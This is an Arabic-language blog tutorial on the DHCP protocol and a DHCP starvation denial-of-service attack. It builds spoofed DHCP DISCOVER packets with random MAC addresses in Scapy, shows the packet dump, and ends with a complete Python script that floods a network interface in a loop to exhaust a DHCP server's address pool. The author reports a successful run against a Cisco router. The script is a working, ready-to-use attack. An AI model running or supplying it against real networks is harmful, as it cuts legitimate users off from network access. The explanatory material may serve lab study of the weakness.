بسم الله الرحمن الرحيم
برتوكول Dynamic Host Control Protocol أو اختصارا DHCP تتلخص مهمته الأساسية في توفير عناوين الأنترنت (IP Address) بشكل ألي للأجهزة المتصلة بالشبكة , البرتوكول مفيد جدا و مستخدم بشكل كبير في الشبكات المنزلية .
في هذه التدوينة سوف نعرض شرح بسيط لخوازمية البرتوكول و تطبيق عملي لهجوم حجب الخدمة أو DDOS و الذي يعرف بهجوم DHCP starvation بواسطة مكتبة scapy.
قبل ان نبدأ لتثبيت المكتبة في ويندوز و لينكس اتبع الخطوات في هذا التدوينة .
مزايا و العيوب في برتوكول DHCP
برتوكول DHCP مفيد جدا و مستخدم بشكل كبير , تخيل فقط كمية الجهد للإعداد كل جهاز في شبكة تتغير فيها الأجهزة بشكل دائم أو تخيل تكليف شخص غير متخصص بوضع هذه الإعدادت احتمال حصول خطأ كبير جدا , لكن هناك عيب كبير في هذا البرتوكول و هو عدم وجود أي الية لتحكم في وصول المستخدم فأي طلب للحصول على عنوان سوف يتم تنفيذه من دون التحقق من صحة و مصداقية الطلب , ماذا لو قام شخص بتوليد طلبات للحصول على جميع العنوانين في الشبكة و حجزها بشكل دائما , لن يجد أي جهاز حقيقي يحاول الأتصال أي عنوان مما يؤدي لعدم قدرته على الاتصال و هذا ما سوف نستخدمه في هذه التدونية , بكل بساطة سوف نستخدم بايثون لتوليد عدد كبير من الطلبات المزيفة .
سوف نستخدم في برمجتنا لهذا السكريبت مكتبة Scapy التي تعمل على لغة بايثون لكي تتعرف على طريقة التثبيت قم بالدخول على هذه التدوينة .
هناك ايضا شرح لموجه الأوامر الخاص بالمكتبة Scapy الذي سنتخدمه ايضا لشرح الكيفية التي سيعمل بها البرنامج
خطوة بخطوة
من موجه التفاعلي للمكتبة Scapy بنبدأ في الطبقة الأولى من الأطار (frame) و هو أطار Ethernet :
pkt = Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff")
الأطار بسيط فقط حددنا العنوان المرسل له وهو ff:ff:ff:ff:ff:ff و هو العنوان الخاص بعملية Broadcast في برتوكول Ethernet أما العنوان الخاص بالمرسل فاستخدمنا الدالة RandMAC تولد هذه الدالة عنوان فيزيائي عشوائي , نحتاج هنا لإرسال العديد من الطلبات بعنوان غير حقيقة و هنا هذه الدالة ستقوم بالعمل و الأن إلى الطبقة الثانية .
pkt = pkt / IP(src="0.0.0.0",dst="255.255.255.255")
الطبقة الثانية هي برتوكول IP سوف نحدد فقط العنوان المرسل كعنوان المرسل سيكون العنوان الخاص 0.0.0.0 , هذا العنوان يستخدم لدلالة على عدم وجود عنوان ففي هذه المرحلة لا يملك الجهاز عنوان انترنت , اما العنوان الخاص بالمرسل إليه 255.255.255.255 فهو عنوان خاص بعملية الارسال لجميع الأجهزة أو broadcast .
pkt = pkt / UDP(sport=68,dport=67)
و الأن إلى انشاء حزمة برتوكول UDP و تحديد المنفذ المحلي برقم 68 و المنفذ الهدف بالرقم 67 , فقط هذا ما نحتاج له .
pkt = pkt / BOOTP(op=1,chaddr=RandMAC())
هنا سنضيف طبقة خاصة ببرتوكول BOOTP , هذا البرتوكول اقدم من برتوكول DHCP و يقول بنفس العمل , لكن كان يستخدم لعملية اعطاء الأجهزة عديمة الأقراص عنوان انترنت و تحميل النظام من الشبكة و هو يعمل على نفس المنافذ الذي يستخدمها برتوكول DHCP لذا لا يمكن ان يعملا على نفس الجهاز , المتغير op يحتمل قيمتين فقط 1 و 2 القيمة 1 ترمز لـ BOOTREQUEST اي طلب برتوكول BOOTP و القيمة 2 ترمز لــ
BOOTREPLY اي رد على طلب خاص بهذا البرتوكول , أما المتغير chaddr فهو اختصار لـ Client Hardware Address أي العنوان الفيزيائي للعميل و هنا استخدمنا ايضا الدالة RandMAC لتوليد عنوانين عشوائية .
pkt = pkt / DHCP(options=[('message-type','discover'),('end')])
المعلومات التي ترسل المطلوبة و التي يوفرها الخادم كلهما يرسل عن طريق رقم يدل على الأختيار Options , لكن scapy تستخدم قيمة نصية تدل على نوع الأختيار ثم قيمته و يتم وضعها في tuple كمثالنا ('message-type','discover') أما التمثيل في الحزمة فيكون قيمة رقمية ثم طول القيمة بالبايت ثم القيمة , و في نهاية الحزمة يجب وضع end و التي هي عبارة عن القيمة ff أو بالتمثيل العشري 255 .
'طبعا scapy يقوم بالاهتمام بالكثير من التفاصيل بدل ترك المستخدم يهتم بكل شيء و لكي تعرض الحزمة التي قمنا بأنشاءها استخدم الدالة show2 كالتالي :
###[ Ethernet ]###
dst= ff:ff:ff:ff:ff:ff
src= 61:bf:93:29:c6:e5
type= IPv4
###[ IP ]###
version= 4
ihl= 5
tos= 0x0
len= 272
id= 1
flags=
frag= 0
ttl= 64
proto= udp
chksum= 0x79dd
src= 0.0.0.0
dst= 255.255.255.255
\options\
###[ UDP ]###
sport= bootpc
dport= bootps
len= 252
chksum= 0xea44
###[ BOOTP ]###
op= BOOTREQUEST
htype= 1
hlen= 6
hops= 0
xid= 0
secs= 0
flags=
ciaddr= 0.0.0.0
yiaddr= 0.0.0.0
siaddr= 0.0.0.0
giaddr= 0.0.0.0
chaddr= b'e5:a4:e8:d9:77:e'
sname= b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
file= b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
options= 'c\x82Sc'
###[ DHCP options ]###
options= [message-type=discover end]
و الأن قبل أن نبدأ بالارسال هنالك مشكلة scapy دائما يتأكد من عنوان المرسل إليه عند وصول الرد و في الرسالة التي نرسلها سيكون العنوان 255.255.255.255 و لكن الرد سيحمل عنوان الخادم الخاص ببرتوكول DHCP لذا يجب ان نعطل هذه الخاصية باستخدام هذا السطر :
و الأن إلى السطر الأخير و هو سطر الأرسال :
في حالة عدم تحديد المنفذ او ما يسمى بــ" interface " سيتم الأرسال على المنفذ الافتراضي الذي تستطيع معرفته بواسطة :
و لتحديد المنفذ في امر الأرسال استخدم المتغير iface في امر الأرسال كالتالي :
sendp(pkt,iface="eth0",loop=1)
و هذا هو نتيجة تنفيذ البرنامج على رواتر سيسكو عند تنفيذ الأمر الخاص بعرض العنوانين المحجوزة في خادم DHCP :
تلاحظ بأن العنوانين جميعها محجوزة لذا أذا حاول أي جهاز حقيقي طلب عنوان من خادم DHCP لين يقدم له الخادم عنوان لعدم توافره لكن يأتي السؤال هنا لماذا يتم حجز هذه العناوين برغم أنه لن تتكمل عملية المصادقة فقط قمنا بأرسال طلب عنوان فقط , ببساطة يقوم الخادم بحجز العنوان مباشرة لأنه يقوم بأرسال العنوان في رسالة DHCP Offering بحسب تصميم البرتوكول , لذا في حالة وقف الهجوم سوف يتم تحرير العنوانين في وقت قصير لعدم اكتمال عملية حجز العنوان .
#!/usr/bin/python3
from scapy.all import conf,Ether,IP,RandMAC,UDP,BOOTP,DHCP,sendp
conf.checkIPaddr = False
dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff",src=RandMAC()) \
/IP(src="0.0.0.0",dst="255.255.255.255") \
/UDP(sport=68,dport=67) \
/BOOTP(op=1,chaddr=RandMAC()) \
/DHCP(options=[('message-type','discover'),('end')])
#غير الواجهة بحسب جهازك
sendp(dhcp_discover,iface="eth0",loop=1,verbose=1)
و النهاية ان شاء الله يكون الشرح بسيط و مفيد و إذا في خطأ او أضافة أو سؤال تقد تتواصل معي على المدونة مباشرة بالتعليقات .